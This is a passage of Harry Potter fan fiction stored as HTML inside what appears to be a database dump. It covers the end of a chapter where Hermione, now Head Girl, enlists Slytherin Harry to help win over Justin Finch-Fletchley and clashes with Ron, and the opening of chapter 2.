very respectful of the lady. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Blaise nodded &#8220;That is so true.&#8221;\nShe smiled.&nbsp; &#8220;Do you have an idea who\nHead Girl is?&#8221; Blaise asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well I have an idea who it could\nbe.&#8221; Harry said.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione Granger hugged her parents good bye, &#8220;I&#8217;ll owl you soon.&#8221; She said, then\nkissing her mother on the cheek.&nbsp; She\ngrabbed the handle of her cart which held her trunk and her cat carrier and ran\nthrough the barrier onto platform nine and three quarters.&nbsp; She sighed with delight as the train was\nbefore her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She was ready for her seventh year\nat Hogwarts school of witchcraft and wizardry.&nbsp; Hermione glanced down briefly at her shiny\nsilver head girl badge; she worked hard to earn this.&nbsp; She was in the top of her class,\nin fact she was probably the smartest witch to come to Hogwarts in over a\ncentury.&nbsp; It was true she didn&#8217;t have\nmuch time for friends and parting at school, school was for learning not for\nplaying. In her whole school career she probably had only one date, and it\nreally wasn&#8217;t a date. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Her life was more like hey if you\ndo my homework I&#8217;ll take pity on you and ask you out.&nbsp; And maybe if you&#8217;re lucky I might even kiss\nyou, but you would have to put a paper bag over your head with a hole for your\nmouth so I wouldn&#8217;t have to look at you. She certainly didn&#8217;t need that kind of\npity especially from the likes of Ronald Weasley who did offer her that a few\nyears ago.&nbsp; She hated him and he hated\nher, and they liked to keep it that way.&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;Now Hermione was not an ugly or homely girl,\nfar from it.&nbsp; She was in fact one of the\nmost attractive girl&#8217;s in the school.&nbsp;\nIt&#8217;s just she would rather spend her time studying then worrying about\nher frizzy out of control hair.&nbsp; She did\nhave big teeth at one point, of course thanks to her enemy once again yes\nRonald Weasley, he cast a spell on her which grew her teeth ten times bigger,\nshe had to get it repaired by the school nurse she just let the witch continue\nto shrink it to where Hermione wanted it, hey at least she wouldn&#8217;t have to get\nMuggle braces now.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Last night Hermione had woken to\nfrom a dream about her and some young man dancing the night away, only she\nnever got to see his face.&nbsp; Whenever she\nlooked upon him he seemed a mile away.&nbsp;\nHe would come closer to her, but as soon as she would look up into his\neyes he would be far away and she couldn&#8217;t tell who it was. It would always end\nwith him saying &#8216;but I think we should be more.&#8217;&nbsp;&nbsp; She hated dreams like that, she had been\nhaving them for a few nights now, she had the distinct\nfeeling that she knew him or that she really wanted to get to know him.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione knew only two boys at\nschool. One was a little friendly to her than most, and the other one barley\nknew who she was but he still did often give her small wave and a polite\nsmile.&nbsp; That&#8217;s it, she knew exactly who\nthe boy in the dream was just as she lifted her head two Huffelpuff boys, Draco\nMalfoy and Justin Finch Fletchley, she watched Justin look up and give her a\npolite smile and a wave as the boys approached her. As the boys passed her\nwithout talking to her, Justin was in the middle of a conversation with Draco,\nhe said the one phrase from her dream.&nbsp;\nShe heard him say &#8220;I think we should be more.&#8221; The boy in her dream was\nJustin, it had to be.&nbsp; It was the only\nlogical explanation.&nbsp; Her head snapped\naround watching him that was him it had to be Justin, it made perfect sense,\nyes it did indeed.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione managed to get her trunk\nonto the train and headed back towards the Head boy and girl compartment,&nbsp; she saw Blaise Zambini a Slytherin girl leave the compartment.&nbsp; Hermione wondered what she was doing in there, that was the head bot and\ngirl compartment.&nbsp; She shrugged her\nshoulders and thought Oh well.&nbsp; Hermione\nopened the door to the compartment and was just a bit startled to see the only\nother boy that was nice to her, the Boy Who Lived, the one who defeated You\n&#8211;Know&#8212;Who when he was only fifteen, The Slytherin house hottie,\nthe one, the only Harry Potter.&nbsp; &#8220;What\nare you doing in here?&#8221; Hermione asked somewhat confused.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry glanced up at her from his\nbook, &#8220;I thought you were suppose to be a genius?&#8221; He\nteased with a smile, &#8220;why would I be sitting in this compartment, thanks to you\nand your wonderful head helping me all through school, I am Head Boy.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione rolled her eyes and sat\ndown across from him, &#8220;that&#8217;s right you should be thanking me.&nbsp; Remember without me, you&#8217;re nothing.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A small chuckle found its way out\nof Harry, &#8220;sure Herms, whatever you say.&#8221; He was sarcastic. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;And don&#8217;t call me that, you know I\nhate it.&#8221; Hermione turned towards the window and watched as the scenery started\nto breeze by.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The lady with the cart passed by\nthe open compartment doors, and stopped.&nbsp;\n&#8220;Anything from the cart dears?&#8221; She asked with\na smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry stands up and looks at the\nselections on the cart, he then purchases a Cherry Fizzy He turns back to\nHermione, &#8220;would you like anything?&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione shakes her head, she\nwasn&#8217;t in the mood for anything to eat or drink. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry watched as the lady with the\ncart continued on down the train to the next compartment, and he closed the\ncompartment doors.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">And Hermione nestled into the\ncushion more she was finally on her way to school.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So how was your summer?&#8221; She\nlooked over at him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well, it was pretty good. Sirius\nand I went to Virgin Islands. And let&#8217;s just say that there aren&#8217;t too many\nvirgins left cause no one can resist the great Harry\nPotter.&#8221; Harry wiggled his eyebrows a bit.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione laughed a little, &#8220;You\nare so full of yourself.&#8221; She glanced towards the window of the compartment\ndoors.&nbsp; Justin was standing there talking\nto a sixth year witch.&nbsp; She sighed, just\nwatching him.&nbsp; She forgot about Harry and\nhis conversation, which he was still involved in.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry noticed that she was staring\nout the door, instead of listening to his grand tale of his summer\nvacation.&nbsp; &#8220;Hermione?&#8221;&nbsp; no answer, &#8220;Hermione?&#8221; he said a little\nlouder. No response, not even a flinch.&nbsp; &#8220;Earth\nto Hermione Granger.&#8221; He said, and again he was being ignored.&nbsp; He smirked with an idea, &#8220;I heard that Ronald\nWeasley said he was in love with you.&#8221;&nbsp;\nHe watched her head snap around and a look of pure disgust on her face.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What?!&#8221; She was shocked out of\nher mind.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No not really, I just had to get\nyour attention somehow, you were zoning out into space.&#8221; Harry said with a\ngrin.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione sighed, &#8220;no I wasn&#8217;t.&#8221;\nShe pointed to the compartment window, &#8220;There he is.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Who is?&#8221; He looked to where she\nwas pointing he felt slightly confused.&nbsp;\n&#8220;It&#8217;s only Finch Fletchley.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She sighed again, &#8220;I know.&#8221;\nHermione stared longingly out the window.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry started laughing a bit, he\nknew when girls had crushes they had them on him all the time.&nbsp; He knew the signs and what to look for.&nbsp; &#8220;Don&#8217;t tell me you have a thing for Finch\nFletchley.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Alright, I won&#8217;t tell you.&#8221; She said\nglancing down into her lap, she heard Harry laughing a bit harder now.&nbsp; And she snapped her head up glaring at\nhim.&nbsp; &#8220;What&#8217;s so funny?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You have the hots\nfor Justin Finch Fletchley, that&#8217;s like the funniest thing I ever heard.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It is not.&#8221; Her temper was\nstarting to boil.&nbsp; &#8220;He&#8217;s like the second\nMr. Popularity after you.&#8221;&nbsp; She crossed\nher arms hugging herself.&nbsp; &#8220;I don&#8217;t see\nwhy you think it so funny.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Still chuckling, Harry glanced\nabout her irritated face &#8220;It&#8217;s just he&#8217;s so, so, what&#8217;s the word.&#8221; He thought a\nmoment, &#8220;Dense, that&#8217;s the word.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione had to admit that Harry\nwas right about that, but it still didn&#8217;t dismiss the fact that Justin was most\nassuredly her Mr. Right. &#8220;Sure, half the time he doesn&#8217;t know what&#8217;s going on,\nbut he&#8217;s still a nice person.&#8221;&nbsp;&nbsp; She\nturned to look out the window and watched as Justin started walking away, &#8220;now\nall I have to do is get him to notice me.&#8221; She said under her breath,\nquietly.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry heard what she said anyway,\n&#8220;and just how are you going to do that?&#8221; He lifted the bottle to his lips and\nstarted drinking the cherry juice.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione stared out the window\ninto the empty hall, a thought popped into her mind and her head whipped\naround, she looked at Harry with a smirk on her face.&nbsp; &#8220;you are going to help me.&#8221; She pointed at\nhim.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Startled, Harry dropped the bottle\nonto his lap and its contents spilled all over him, and the bottle dropped to\nthe floor. &#8220;Me?&#8221; Harry pointed to himself.&nbsp;&nbsp;\nHe reached down and picked up the bottle from off the floor </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry I thought you could control\nyour bladder? Really, the restroom is right out there.&#8221; She pointed towards the\nhall with a smirk.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry ignored her remark, why on\nearth was she asking him for help.&nbsp; &#8220;Why me?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well you know all about how men\nsee women, and well since you are the expert you could tell me what and how to\nget Justin to notice me,&#8221; She said with a bright smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ah, I don&#8217;t know.&#8221; He scratched\nthe back of his head.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well look at it this way, if you\nhelp me you won&#8217;t owe me anything, anymore.&#8221; She said with an arched eyebrow.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry thought a moment, it was\ntrue the only reason they were and hand been friends was they kept saving the\nothers butt in one way or another, and they kept owing each other. &#8220;Really?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded, &#8220;really.&nbsp; So what do you say?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Okay I&#8217;ll help you, but I have a\ncouple of conditions, &#8220;you have to listen to me and do what I say, remember I\ndo know what I&#8217;m doing.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione sighed thinking a moment\n&#8220;Well, as long as what you say isn&#8217;t really outrageous, then fine.&#8221;&nbsp; She saw a flash of red in the corner of her\neye, Hermione turned towards the compartment window as that same flash of red\nwalked backwards and look into the window.&nbsp;\nHe thrust open the door and stepped inside.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What&#8217;s going on in here?&#8221; He was\nirritated.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione rolled her eyes then\nglared at him.&nbsp; It was her least favorite\nperson.&nbsp; Ron Weasley. &#8220;Go away.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Excuse me, did I really address\nyou?&#8221; He said with bitterness.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Look, I really don&#8217;t care if you\naddressed me, now stop being the typical jerk that you are Weasley and go\naway.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">This time he stared right at her,\n&#8220;what are you doing in this compartment with this blasted Slytherin.&#8221; He spat.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry rolled his eyes.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;He&#8217;s head boy you idiot,&#8221;\nHermione spat.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;m the idiot? I&#8217;m not the one hanging\naround with an evil Slytherin.&nbsp; If anyone\nis the idiot it is you.&#8221; Ron said glaring at Hermione.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What did you come in for\nWeasley?&#8221; Harry said with even more irritation.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well I came to see why a\nSlytherin is sitting in here with a Gryffindor.&nbsp;\nThey should not mix.&#8221; Ron spat.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;And why is that?&#8221; Harry smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron didn&#8217;t have a good argument,\n&#8220;cause I said so, that&#8217;s why.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry pressed his hand to his\nheart in exaggeration, &#8220;hold the presses, stop everything Ronald Juliet Weasley\nsaid that Slytherin&#8217;s and Gryffindor&#8217;s shouldn&#8217;t mix.&nbsp; I suppose we should all drop everything and\ndo what he says, he&#8217;s king, no wait he&#8217;s God.&#8221;&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione&#8217;s head snapped in Ron&#8217;s\ndirection, she was already busting up with laughter.&nbsp; &#8220;ha, ha, you&#8217;re middle name is Juliet? Ha ha!&#8221; She was clutching her stomach, she was laughing so\nhard that tears were forming at the corners of her eyes and her body swayed\nthreatening to fall to the floor in laughter.&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron&#8217;s face flushed to the color of\nhis hair, who was she to laugh at him. &#8220;HEY!! It&#8217;s a family name.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah, for you sister maybe.&#8221;\nHermione said still in hysterics, she wiped her eyes with slender fingers, &#8220;oh\nno wait I get it. Your parents thought you were going to be a girl.&#8221; She\nstarted chuckling again. &#8220;Oh I can see why, just look at you. That beautiful\nred hair and those adorable blue eyes, anyone would think you were female.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Shut up!!&#8221; Ron screamed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You even scream like a girl.&#8221;\nHermione said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron looked over at Harry who was\nsmirking, &#8220;This is all your fault, you&#8217;ll pay for this. Watch your back\nPotter.&#8221; He spat</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry stood, &#8220;are you threatening\nme Weasley, If you are I suggest that you just forget about it.&#8221; Harry crossed\nhis arms over his chest.&nbsp; &#8220;Don&#8217;t forget\nWeasley I killed Voldemort with once simple curse, I could use it on you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron feared Harry but he didn&#8217;t\nshow it.&nbsp; &#8220;You wouldn&#8217;t dare, it would\nland you in Azkaban&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry smirked, &#8220;I could make it\nlook like an accident, self induced death.&nbsp;\nI know how you hate living in your families shadow.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron glared.&nbsp; &#8220;You had better watch out Potter,&#8221;&nbsp; He then looked over at Hermione.&nbsp; &#8220;And you&#8217;ll stay away from him if you know\nwhat&#8217;s good for you.&#8221;&nbsp; Ron was angry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;ll be friends with whomever I\nwant, he may be in Slytherin.&nbsp; But he is\nnot an asshole like you.&nbsp; Now be on your\nway before I curse you myself.&#8221;&nbsp; Hermione\nglared.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Take this as a warning Granger, I\nwill make certain that no Gryffindor regardless of how I loath your ass, will\never be in close with a damn dirty Slytherin.&#8221; He pointed a finger in her face.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione smacked his hand away\nglaring, if looks could kill Ron would have died three times already. &#8220;If you\never stick anything of yours in my face again Weasley, I will break it.&#8221;&nbsp; She was dead serious.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron backed away glaring at both\nHarry and Hermione.&nbsp; &#8220;Mark my words, this\nis not over.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione took a couple of deep\nbreaths, Oh how she hated Ron Weasley.&nbsp;\nHe was always so mean and cruel.&nbsp;\n&#8220;I wonder how he ever was even sorted into Gryffindor, how he is he\nshouldn&#8217;t even be admitted into school at all.&#8221; She took her seat back down on\nher side of the compartment.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh don&#8217;t worry about that\nWeasley, he can&#8217;t really hurt you.&nbsp; He&#8217;s\njust full of hot air.&#8221; Harry said, he offered her a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah, sure.&#8221; Hermione said\nglancing out the window of the train.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry studied her for a moment, he\nremembered back when he first came to this school.&nbsp; He wouldn&#8217;t really talk to her at all, in\nfact he thought she was the most annoying girl on the face of the earth. &nbsp;Harry remembered saving her life back in first\nyear,&nbsp; sure they hadn&#8217;t become friends\nright away, but since he knew of Wizarding rules, she know owed him a wizard&#8217;s\nor should he say witch&#8217;s debt.&nbsp; So he\nasked for her to help him pass his classes.&nbsp;\nThey started spending some time together which allowed them to get to\nknow one another and finally became a friend, well as close as he could be with\na female.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He wasn&#8217;t too comfortable with his\nfeelings, or emtotions, he usually masked whatever he\nwas feeling. &nbsp;His horrible aunt and uncle\nhe lived with for most of his life were horrid to him, so it kind of made him\nhard in the heart.&nbsp; He never lets any\nemotions out and he will never be close with anyone.&nbsp; Even her. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione turned her head finding\nHarry staring at her, &#8220;What?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry shook his head as if\nsnapping out of something. &#8220;Oh nothing, I was just thinking.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh what about?&#8221; Hermione said\ncrossing her legs and sitting back further into the cushion</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;About the fact that if I never\nsaved your life back in first year, I wouldn&#8217;t even know who you are.&#8221; Harry\nsaid.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes, that&#8217;s probably true.&#8221;\nHermione said with a smile.&nbsp; &#8220;But its not\nlike we can change the past you know.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I know, sometimes I wish we\ncould.&nbsp; There are so many things I would\nchange.&#8221; She said glancing down in her lap.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded, &#8220;yes, I know what I\nwould change if I could.&#8221; He then turned towards the window, he didn&#8217;t want to\ntalk about it anymore, it would bring up past emotions and he didn&#8217;t like\ndealing with those.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione knew what he was talking\nabout even though he didn&#8217;t have to say anything.&nbsp; She wasn&#8217;t going to press him on the matter,\nher eyes gently closed and she was off to visit dreamland.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Well it was going to be a boring\ntrain ride Harry looked over at</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">=====</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal">Well that&#8217;s it for chapter 1 I hope this is an okay start.\nWell I hope you stay tuned for chapter 2 What do you people think.&nbsp; Well read and review.&nbsp; Thanks Ryoko</p>\n\n\n\n\n\n\n'),
	(15, 2, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Disclaimer: No way are any of the original HP characters\nmine they totally belong to J.K. Rowlings.&nbsp; You are nuts to even think that I own this,\nwhere do you people get your information. Honestly :)</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">A/N: Cameo appearances (as in many) by my beta reader, you\nknow who you are. Lol,</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">All\nThat She Wants</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Chapter\n2&#8212;&nbsp; He&#8217;s Man Enough For Me?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione woke to the sounds\nof two people talking quietly, she opened her eyes.&nbsp; She was still on the\ntrain and it was still moving.&nbsp; Hermione had ended up lying flat on her\nback, her head on a pillow with a cuddly warm blanket over her.&nbsp; She\nrubbed her eyes then tilted her head to the side.&nbsp; She found Harry who was\nalready in his Hogwarts robe talking with some nameless girl, just someone\nHermione didn&#8217;t know.&nbsp; The girl was smiling goofily at him, and he was\nsucking it up like a sponge.&nbsp; Hermione laughed to herself as she at up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Look Harry, your girlfriend\nis awake.&#8221; The nameless girl said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh she&#8217;s not my girlfriend.&#8221;\nHarry said casually.&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah, he only wishes I\nwere.&#8221; Hermione said sleepily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Is that true?&#8221; The gullible\ngirl asked as if it pained her to hear such a thing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione looked oddly at the\ngirl. &#8220;No, it&#8217;s not true.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well then you shouldn&#8217;t spread\nsuch false rumors, besides what would he want with a frizzy nobody like\nyourself?&#8221; The girl smirked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione stood, she was going\nto hurt that little tart. But Harry also stood getting in between the two girls\nholding each of his hands in both their directions. &#8220;Now, now girls. Let&#8217;s not\nfight over me. There&#8217;s plenty to go around, I&#8217;m man enough for both of you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;In your dreams Potter.&#8221;\nHermione said with a half grin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I would gladly fight for you\nHarry.&#8221; The girl gushed, looking at him adoringly.&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione rolled her eyes and\nturned to fold up the blanket, she laid it neatly on the bench and placed the\npillow on top of it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well I think I&#8217;ve taken up\nenough 